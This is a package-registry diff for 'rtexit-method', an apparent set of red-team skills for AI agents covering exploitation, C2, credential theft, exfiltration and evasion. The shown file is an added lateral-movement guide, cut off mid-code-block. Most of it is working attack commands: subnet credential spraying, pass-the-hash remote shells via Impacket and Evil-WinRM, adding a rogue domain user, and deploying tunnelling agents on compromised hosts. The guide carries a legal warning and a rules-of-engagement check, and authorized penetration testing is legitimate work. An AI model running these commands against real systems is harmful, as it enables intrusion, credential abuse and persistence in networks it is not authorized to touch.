rtexit-method 0.1.0 → 0.1.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +9 -7
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/commands/install.js +0 -1
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/banner.js +14 -6
- package/tools/installer/lib/copy-assets.js +5 -2
- package/tools/installer/lib/prompts.js +1 -11
- package/tools/installer/lib/write-config.js +8 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,1032 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-lateral-movement
|
|
3
|
+
description: "Lateral movement skill. Covers Windows lateral movement (PSexec, WMIexec, WinRM via Evil-WinRM, SMB pass-the-hash), Linux lateral movement (SSH key reuse, sudo -l abuse, NFS mounting), network pivoting (SSH tunneling, Chisel, Ligolo-ng), and living-off-the-land techniques. Integrates with C2 frameworks for beacon pivoting."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-lateral-movement
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Lateral movement is the phase where an attacker expands access from an initial foothold to additional systems within the target environment. The goal is to move from a beachhead host toward high-value targets: domain controllers, database servers, internal APIs, or privileged workstations.
|
|
11
|
+
|
|
12
|
+
This skill covers the complete lateral movement surface:
|
|
13
|
+
- **Windows lateral movement** — PSExec, WMIExec, SMBExec, WinRM (Evil-WinRM), pass-the-hash, pass-the-ticket
|
|
14
|
+
- **Linux lateral movement** — SSH key reuse, sudo abuse, cron hijacking, NFS share mounting
|
|
15
|
+
- **Network pivoting** — SSH tunnels (local/remote/dynamic), Chisel, Ligolo-ng, socks proxies
|
|
16
|
+
- **Living-off-the-land (LotL)** — using built-in OS tools to avoid EDR detection
|
|
17
|
+
- **C2 beacon pivoting** — routing agent traffic through compromised hosts
|
|
18
|
+
|
|
19
|
+
All findings and pivot paths feed into the RTExit autodoc engine under `_rtexit-output/findings/lateral-movement/`.
|
|
20
|
+
|
|
21
|
+
### When to Use This Skill
|
|
22
|
+
|
|
23
|
+
Use `rt-lateral-movement` after:
|
|
24
|
+
- Achieving initial access (shell, RCE, reverse beacon)
|
|
25
|
+
- Recovering credentials (hashes, plaintext, Kerberos tickets)
|
|
26
|
+
- Completing internal host enumeration with `rt-active-recon`
|
|
27
|
+
|
|
28
|
+
Do NOT use this skill before confirming the Rules of Engagement explicitly authorise internal network movement. Check with `rt-rules-of-engagement` first.
|
|
29
|
+
|
|
30
|
+
> LEGAL WARNING: Lateral movement constitutes unauthorized computer access in virtually every jurisdiction when performed outside an authorized engagement. Ensure written RoE explicitly permits internal movement, target host ranges, and credential reuse techniques before executing any command in this guide.
|
|
31
|
+
|
|
32
|
+
---
|
|
33
|
+
|
|
34
|
+
## Prerequisites
|
|
35
|
+
|
|
36
|
+
### Required Credentials or Tokens (at least one)
|
|
37
|
+
|
|
38
|
+
| Credential Type | Typical Source | Notes |
|
|
39
|
+
|-----------------|---------------|-------|
|
|
40
|
+
| NTLM hash | Mimikatz, secretsdump, Responder | Pass-the-hash attacks |
|
|
41
|
+
| Plaintext password | Credential dump, phishing, config files | Direct auth |
|
|
42
|
+
| Kerberos ticket (.ccache) | Mimikatz, Rubeus, GetTGT.py | Pass-the-ticket |
|
|
43
|
+
| SSH private key | ~/.ssh/, .git/config, backup files | Linux/Unix targets |
|
|
44
|
+
| AWS/Azure tokens | IMDSv1/v2, env vars, config files | Cloud pivot |
|
|
45
|
+
|
|
46
|
+
### Tool Installation (Kali Linux / Attacker Host)
|
|
47
|
+
|
|
48
|
+
```bash
|
|
49
|
+
# Impacket suite (PSExec, WMIExec, SMBExec, SecretsDump, GetTGT)
|
|
50
|
+
pip3 install impacket
|
|
51
|
+
# OR from source for latest version
|
|
52
|
+
git clone https://github.com/fortra/impacket.git /opt/impacket
|
|
53
|
+
cd /opt/impacket && pip3 install -e .
|
|
54
|
+
|
|
55
|
+
# Evil-WinRM (WinRM lateral movement)
|
|
56
|
+
gem install evil-winrm
|
|
57
|
+
# OR
|
|
58
|
+
sudo apt-get install -y evil-winrm
|
|
59
|
+
|
|
60
|
+
# CrackMapExec (CME) / NetExec (nxc) — Swiss-army knife for Windows networks
|
|
61
|
+
pip3 install crackmapexec
|
|
62
|
+
# NetExec (community-maintained successor)
|
|
63
|
+
pip3 install netexec
|
|
64
|
+
# Verify
|
|
65
|
+
cme --version
|
|
66
|
+
nxc --version
|
|
67
|
+
|
|
68
|
+
# Chisel — fast TCP/UDP tunneler over HTTP
|
|
69
|
+
# Download pre-built binary (recommended)
|
|
70
|
+
wget https://github.com/jpillora/chisel/releases/latest/download/chisel_linux_amd64.gz
|
|
71
|
+
gzip -d chisel_linux_amd64.gz && mv chisel_linux_amd64 /usr/local/bin/chisel
|
|
72
|
+
chmod +x /usr/local/bin/chisel
|
|
73
|
+
|
|
74
|
+
# Ligolo-ng — transparent proxy for network pivoting
|
|
75
|
+
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/proxy-linux-amd64.tar.gz
|
|
76
|
+
tar -xzf proxy-linux-amd64.tar.gz && mv proxy /usr/local/bin/ligolo-proxy
|
|
77
|
+
chmod +x /usr/local/bin/ligolo-proxy
|
|
78
|
+
# Agent binary (deploy to pivot host)
|
|
79
|
+
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/agent-linux-amd64.tar.gz
|
|
80
|
+
tar -xzf agent-linux-amd64.tar.gz && mv agent /opt/ligolo-agent
|
|
81
|
+
# Windows agent
|
|
82
|
+
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/agent-windows-amd64.exe -O /opt/ligolo-agent.exe
|
|
83
|
+
|
|
84
|
+
# ProxyChains (route tools through SOCKS proxy)
|
|
85
|
+
sudo apt-get install -y proxychains4
|
|
86
|
+
# Edit /etc/proxychains4.conf:
|
|
87
|
+
# [ProxyList]
|
|
88
|
+
# socks5 127.0.0.1 1080
|
|
89
|
+
|
|
90
|
+
# Metasploit (for route/pivot modules)
|
|
91
|
+
sudo apt-get install -y metasploit-framework
|
|
92
|
+
|
|
93
|
+
# Nmap (pivot-side scanning)
|
|
94
|
+
sudo apt-get install -y nmap
|
|
95
|
+
|
|
96
|
+
# SSH client (built-in on most systems)
|
|
97
|
+
sudo apt-get install -y openssh-client
|
|
98
|
+
|
|
99
|
+
# Rubeus (Windows, Kerberos attacks) — compile or download
|
|
100
|
+
# https://github.com/GhostPack/Rubeus
|
|
101
|
+
|
|
102
|
+
# PsExec (Sysinternals, Windows only)
|
|
103
|
+
# Download: https://docs.microsoft.com/en-us/sysinternals/downloads/psexec
|
|
104
|
+
```
|
|
105
|
+
|
|
106
|
+
### Environment Setup
|
|
107
|
+
|
|
108
|
+
```bash
|
|
109
|
+
# Store target environment variables
|
|
110
|
+
export TARGET_DC="192.168.1.10" # Domain Controller IP
|
|
111
|
+
export TARGET_DOMAIN="CORP" # NetBIOS domain name
|
|
112
|
+
export TARGET_FQDN="corp.local" # FQDN
|
|
113
|
+
export TARGET_USER="administrator" # Compromised username
|
|
114
|
+
export TARGET_HASH="aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c" # LM:NT hash
|
|
115
|
+
export ATTACKER_IP="10.10.14.5" # Your IP reachable from pivot host
|
|
116
|
+
export PIVOT_HOST="192.168.1.50" # Compromised pivot host IP
|
|
117
|
+
export PIVOT_USER="svcaccount" # Account on pivot host
|
|
118
|
+
|
|
119
|
+
# Source at session start
|
|
120
|
+
source ~/.rtenv
|
|
121
|
+
```
|
|
122
|
+
|
|
123
|
+
---
|
|
124
|
+
|
|
125
|
+
## Skill Levels
|
|
126
|
+
|
|
127
|
+
### BEGINNER — Credential Validation and Basic Access
|
|
128
|
+
|
|
129
|
+
At this level, confirm that recovered credentials work on additional hosts and establish a basic interactive session.
|
|
130
|
+
|
|
131
|
+
**Validate credentials across the network with CrackMapExec / NetExec:**
|
|
132
|
+
|
|
133
|
+
```bash
|
|
134
|
+
# SMB credential spray — test hash against a subnet
|
|
135
|
+
cme smb 192.168.1.0/24 -u "$TARGET_USER" -H "$TARGET_HASH" --continue-on-success
|
|
136
|
+
|
|
137
|
+
# NetExec equivalent
|
|
138
|
+
nxc smb 192.168.1.0/24 -u "$TARGET_USER" -H "$TARGET_HASH" --continue-on-success
|
|
139
|
+
|
|
140
|
+
# Test plaintext password
|
|
141
|
+
cme smb 192.168.1.0/24 -u "$TARGET_USER" -p "Password123!" --continue-on-success
|
|
142
|
+
|
|
143
|
+
# Check WinRM access (port 5985)
|
|
144
|
+
cme winrm 192.168.1.0/24 -u "$TARGET_USER" -H "$TARGET_HASH"
|
|
145
|
+
|
|
146
|
+
# Check SSH access on Linux hosts
|
|
147
|
+
cme ssh 192.168.1.0/24 -u root -p "Password123!"
|
|
148
|
+
```
|
|
149
|
+
|
|
150
|
+
**Basic WinRM session with Evil-WinRM:**
|
|
151
|
+
|
|
152
|
+
```bash
|
|
153
|
+
# Connect with NTLM hash
|
|
154
|
+
evil-winrm -i "$TARGET_DC" -u "$TARGET_USER" -H "8846f7eaee8fb117ad06bdd830b7586c"
|
|
155
|
+
|
|
156
|
+
# Connect with plaintext password
|
|
157
|
+
evil-winrm -i "$TARGET_DC" -u "$TARGET_USER" -p "Password123!"
|
|
158
|
+
|
|
159
|
+
# Connect with SSL
|
|
160
|
+
evil-winrm -i "$TARGET_DC" -u "$TARGET_USER" -p "Password123!" -S
|
|
161
|
+
```
|
|
162
|
+
|
|
163
|
+
**Basic SSH lateral movement:**
|
|
164
|
+
|
|
165
|
+
```bash
|
|
166
|
+
# Connect with password
|
|
167
|
+
ssh "$TARGET_USER"@"$PIVOT_HOST"
|
|
168
|
+
|
|
169
|
+
# Connect with private key
|
|
170
|
+
ssh -i /path/to/stolen_id_rsa "$TARGET_USER"@"$PIVOT_HOST"
|
|
171
|
+
|
|
172
|
+
# Disable strict host key checking (OPSEC note: logs may record banner grab)
|
|
173
|
+
ssh -o StrictHostKeyChecking=no -i /path/to/id_rsa "$TARGET_USER"@"$PIVOT_HOST"
|
|
174
|
+
```
|
|
175
|
+
|
|
176
|
+
---
|
|
177
|
+
|
|
178
|
+
### INTERMEDIATE — Remote Execution and Pass-the-Hash
|
|
179
|
+
|
|
180
|
+
**Impacket PSExec (creates a service, noisiest option):**
|
|
181
|
+
|
|
182
|
+
```bash
|
|
183
|
+
# Pass-the-hash with Impacket psexec.py
|
|
184
|
+
python3 /opt/impacket/examples/psexec.py \
|
|
185
|
+
"$TARGET_DOMAIN/$TARGET_USER"@"$TARGET_DC" \
|
|
186
|
+
-hashes "$TARGET_HASH"
|
|
187
|
+
|
|
188
|
+
# Plaintext password
|
|
189
|
+
python3 /opt/impacket/examples/psexec.py \
|
|
190
|
+
"$TARGET_DOMAIN/$TARGET_USER":"Password123!"@"$TARGET_DC"
|
|
191
|
+
|
|
192
|
+
# Execute a single command and exit
|
|
193
|
+
python3 /opt/impacket/examples/psexec.py \
|
|
194
|
+
"$TARGET_DOMAIN/$TARGET_USER"@"$TARGET_DC" \
|
|
195
|
+
-hashes "$TARGET_HASH" \
|
|
196
|
+
-c "whoami /all"
|
|
197
|
+
```
|
|
198
|
+
|
|
199
|
+
**Impacket WMIExec (no service creation, less noisy):**
|
|
200
|
+
|
|
201
|
+
```bash
|
|
202
|
+
# Interactive shell via WMI
|
|
203
|
+
python3 /opt/impacket/examples/wmiexec.py \
|
|
204
|
+
"$TARGET_DOMAIN/$TARGET_USER"@"$TARGET_DC" \
|
|
205
|
+
-hashes "$TARGET_HASH"
|
|
206
|
+
|
|
207
|
+
# Single command execution
|
|
208
|
+
python3 /opt/impacket/examples/wmiexec.py \
|
|
209
|
+
"$TARGET_DOMAIN/$TARGET_USER"@"$TARGET_DC" \
|
|
210
|
+
-hashes "$TARGET_HASH" \
|
|
211
|
+
"whoami"
|
|
212
|
+
|
|
213
|
+
# With explicit namespace
|
|
214
|
+
python3 /opt/impacket/examples/wmiexec.py \
|
|
215
|
+
"$TARGET_DOMAIN/$TARGET_USER"@"$TARGET_DC" \
|
|
216
|
+
-hashes "$TARGET_HASH" \
|
|
217
|
+
-nooutput "cmd /c net user hacker P@ssw0rd /add /domain"
|
|
218
|
+
```
|
|
219
|
+
|
|
220
|
+
**Impacket SMBExec (semi-interactive via SMB shares):**
|
|
221
|
+
|
|
222
|
+
```bash
|
|
223
|
+
# SMBExec — writes output to a temp file, less artifacts than psexec
|
|
224
|
+
python3 /opt/impacket/examples/smbexec.py \
|
|
225
|
+
"$TARGET_DOMAIN/$TARGET_USER"@"$TARGET_DC" \
|
|
226
|
+
-hashes "$TARGET_HASH"
|
|
227
|
+
|
|
228
|
+
# With share specification
|
|
229
|
+
python3 /opt/impacket/examples/smbexec.py \
|
|
230
|
+
"$TARGET_DOMAIN/$TARGET_USER"@"$TARGET_DC" \
|
|
231
|
+
-hashes "$TARGET_HASH" \
|
|
232
|
+
-share C$
|
|
233
|
+
```
|
|
234
|
+
|
|
235
|
+
**CrackMapExec remote command execution:**
|
|
236
|
+
|
|
237
|
+
```bash
|
|
238
|
+
# Execute command via SMB (uses WMI internally by default)
|
|
239
|
+
